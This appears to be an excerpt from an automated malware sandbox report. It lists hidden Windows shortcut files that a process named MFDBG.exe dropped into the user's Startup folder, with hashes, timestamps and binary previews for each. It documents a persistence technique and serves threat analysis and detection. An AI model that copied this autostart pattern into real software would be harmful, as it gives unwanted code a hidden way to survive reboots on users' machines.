Preview:	L..................F...."...]W%.{...n.c.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9780666724ff4169b97bfb2569b93c2e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938323597856608
Encrypted:	false
SSDEEP:	24:8KhBfGy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8guf0R6rMhpBoUBxdRd1nYyg
MD5:	4693382B48993E10744881941048CF27
SHA1:	070B94DC916C70E7E5B5791FEC94B98ECCCD7165
SHA-256:	E6E5D27345B56DEDE4893E3FF075BC5D5646385CA068533A16C5FF03A72E8586
SHA-512:	4DBC047ECFDB6C418710C73B7C4C01A6EE36E422350946E55957A0806D542837131276B17B94CCDD5C6876866B4BE6C6392F1469A4EBBB366D32291B08CF53F6
Malicious:	false
Preview:	L..................F...."...]W%.{...#...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....q..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9781c34da5b4402889e2ee6d3c82b62e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934418572741603
Encrypted:	false
SSDEEP:	24:8xphBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xpn0R6rMhpBoUBxdRd1nYyg
MD5:	A6E69D7D73EB9C8FFD91FBAFF2A5BC60
SHA1:	E80D474AA12A2C6B0261C9052E5926775819EEA7
SHA-256:	7480B6D8C88C65626D07EC10C193845CB117FA33EEE91F17E26C3352C19D95CD
SHA-512:	CDF8D9CDF43664889DE4778434219332E146354EFC269110132C7E8C1BF6A974397E61C0CAE29A00174062656B9B9831C376996AE0FA631FD5B6719BA227F414
Malicious:	false
Preview:	L..................F...."...]W%.{...Lj..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_978bbb88dbb143738e079d7a7a2368c0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940838798713235
Encrypted:	false
SSDEEP:	24:8uhBff8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8kc0R6rMhpBoUBxdRd1nYyg
MD5:	A061B892FA3DB52B0C3A0E78CE99D424
SHA1:	7D725E6871829E87BAFE2FAE450FD3B5E0100680
SHA-256:	2D4FDA0F0A6053934DF1467DFB91EF4BF29060E53E82F5027F12264CDBE02619
SHA-512:	8873277BBEDEC9E0C9A9BE97EE337A606ED951A41B10C85298C1AFF68D2680F142A927A3C3150F551D18F32DE67273A0ADA17B138CC9103775BB0915299F02CE
Malicious:	false
Preview:	L..................F...."...]W%.{...Q...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...x_..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97925695eaeb4fa99ef3d07b3364a3aa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941182727810648
Encrypted:	false
SSDEEP:	24:8FmhBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Fs60R6rMhpBoUBxdRd1nYyg
MD5:	574FC75D23FE9A021241BF603D1461F9
SHA1:	027ED7E6354FAD38FFB01F35E7BF2008533D8C5A
SHA-256:	AE2EDDE7B64187BE9D71982508D7EF496F8B5A54DCE70899059357FB244E5C1D
SHA-512:	868A7328E7CA5DE52CED57714DD4A3F08B5D3D3EA28D839ABC5E13EB67843858E8983AF0E87034B32758EE7FCA65A13FBA904F2671CBAA644581D08CBE62D517
Malicious:	false
Preview:	L..................F...."...]W%.{...._..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97938e630ee342b9b1a7c5aef13f50d9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935738283031721
Encrypted:	false
SSDEEP:	24:8a+mhBfI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85sgT0R6rMhpBoUBxdRd1nYyg
MD5:	BAC556A1D2EBDB490B591BC3C6CA5D8C
SHA1:	AD7652743983DC1E0B3E9D0FC249A6FEBB7E36C1
SHA-256:	4AFE1C453C037D456B1523662E7B71C5B8C742C560AD3F8BB05A4E54C6F0090C
SHA-512:	CCC92B54E140973C8B807A97A700D396527EC580E222E118E17F046D9173A50096F0CB9CCF61BBBAB2DA663069033D481F8AD43A1B8BDF08ABA71E01F1CAF270
Malicious:	false
Preview:	L..................F...."...]W%.{...MV..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97a3a788c0654bc29dc0190cd145e9e0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93838080628504
Encrypted:	false
SSDEEP:	24:8E2hBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8j3C0R6rMhpBoUBxdRd1nYyg
MD5:	14C4ED998CB5E3000C1EE5041CADD50B
SHA1:	87EA48F13753A5C82F5EFC0FCBE5CFD0163DB938
SHA-256:	6CFB271E969395C310B0217C97787DDB7AF2B667750F0BAB1D1C66C781CE5A3F
SHA-512:	D4C440DBEDB8EB2381244B637441C24A93CE8697769F30B1F0EC1E43FFE59FE7FDB13301B55D8EA9540CC99B7471517150BEF9C22EBEE1A44D432434FF474827
Malicious:	false
Preview:	L..................F...."...]W%.{....f..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97e9c237220b40ad8e99692b732c4b7d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939207771933831
Encrypted:	false
SSDEEP:	24:8DhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83KI0R6rMhpBoUBxdRd1nYyg
MD5:	E215BD166A81E19A089D2A09F9784CC4
SHA1:	18FB51592AD4F90F6CF7E8FFE650AF0FCC7ECB4D
SHA-256:	37EDA2F8E33482C427B575798583F8315035B902FCB44D7FD25B518C17C9BB26
SHA-512:	E2062061655FBD31848DE225B42622CCF994C98013D9F05657C86DAEA45BAB1B5E3E00C9623D5DD8C2A6406E0265E6DC0A1280DBD2A9445A4B63B302C8BE0B46
Malicious:	false
Preview:	L..................F...."...]W%.{...}.w.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_980673ade9ce483cad468b08f5dae0fc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935023900401569
Encrypted:	false
SSDEEP:	24:83hBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8r/0R6rMhpBoUBxdRd1nYyg
MD5:	272055BAF06CAF792EFB35AECCB0F005
SHA1:	CBD3A9399DE83B18465A8A4F1CC407CB06DD25C8
SHA-256:	23FCC30CB270525F15883822D655040D9FC0E4461536CFF63C156FCB3E9DF584
SHA-512:	849309D70A4DF1CF11D326C33123B04234B79FFF81F2AEE86AD6419D4F7C1E8DB2E97D8B2B65BA1B6C05B90FCCD05370D7B22F2DFADE2CDFE5DDEA07F428E190
Malicious:	false
Preview:	L..................F...."...]W%.{...B.d.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_98096ab2cce34311adf1f7fe4617ab69.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935176653605764
Encrypted:	false
SSDEEP:	24:8cPhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8cTs0R6rMhpBoUBxdRd1nYyg
MD5:	965F47FE326E8CCC6929C3A48991291C
SHA1:	1767D05ACA05C8AC732AF4FC601A5A11BF2101CF
SHA-256:	A76587B216B2963D73FEA6BDF053FB1F32555620C831E22275F0B0B409DFF4C5
SHA-512:	A50822E2E14079C565728CE92524C9142BE977B7C2262CF5A3A9E336EE76218B00FFACF49EC79FC76DD700E9C60A61F830E4C1A420736AEF485D30E833705E0C
Malicious:	false
Preview:	L..................F...."...]W%.{.....k.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_989e33c099f04c4f9a504b16fb321735.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936733692354481
Encrypted:	false
SSDEEP:	24:8+qphBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zl0R6rMhpBoUBxdRd1nYyg
MD5:	EC4165120CE6B1E88B8FF94058599A60
SHA1:	E23F1758DDAADBA39B36A54E89B7718650177E44
SHA-256:	F70E7DDFC40015AF5C3188FB9A3F5DF63D2787D7E09844C61D13002621BEC22F
SHA-512:	5C60115208307BE07A6A71080037C2721B2D3FB813FBC8157592742EC4D91DC60EFFB90E1AFCFD17EE9DE1383220AF27E1C12781F37AA18FCFA34199FF47C1DD
Malicious:	false
Preview:	L..................F...."...]W%.{....*..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9981a7fb365c4aa8914c3e73a34ed02a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944633077555928
Encrypted:	false
SSDEEP:	24:8bhBf3+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8fPT0R6rMhpBoUBxdRd1nYyg
MD5:	A07A96CB7AA96359F562D78350C6FC2E
SHA1:	B65170D6B5081B4B1D3BB2DC11B0CCED37705962
SHA-256:	0EB7DF9BBB93D8B857CF67CA8611DD42C2FBAD6778AC1CC794512887C29C477E
SHA-512:	D0156FD70B9D9A198AF480631A0E9AED8018F9A26694F35031FAFEC7B6E58D0EC1D8FFBB25647A3455EAA1699FAB9E3703B8870444BCC7917D2E3B69CABCFA2D
Malicious:	false
Preview:	L..................F...."...]W%.{....yR.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...u.=.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_99db79fb29df4322b1bfd4f44b0fe2ba.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940085712394054
Encrypted:	false
SSDEEP:	24:8F1hBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zR0R6rMhpBoUBxdRd1nYyg
MD5:	6CE844FEBDC2348BE2A2C0C1304A0041
SHA1:	584EE15767B80CC02BC7EEE1716F3B7B9A4ACA1F
SHA-256:	F7154240D6D65E42C6D7357014DDB05788E8CE1B83E28A0FC1A81A901661FD22
SHA-512:	9DC6CB13DC15C2B061EDAEC0C02D49C4B36352F11B50790301BA895576D44333869D04C0F8E450C5C1C608489FA510517D209BD6EC82FE5EB6701E6398CEDC4A
Malicious:	false
Preview:	L..................F...."...]W%.{....#..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_99f7182c776948d984ab29938246ad87.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933127730404724
Encrypted:	false
SSDEEP:	24:81XhBfI8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:81LV0R6rMhpBoUBxdRd1nYyg
MD5:	916E963D144E7F0B984652B49AC18D6E
SHA1:	890A8A9679232AE98FA0D562318A1107891095BB
SHA-256:	822DD3227C10F3D307CB157A80AA96ABC48349CC5FA5FB54E65254157162F5E4
SHA-512:	FED2CC9D752EB57928D1040563A49CB1B4F73E6D8AE8B64448F98FECFFFE1AD1891F657F19D301D30AC2B0C001CDC3B553256DF9A4535C34C55353FE04A9D8BE
Malicious:	false
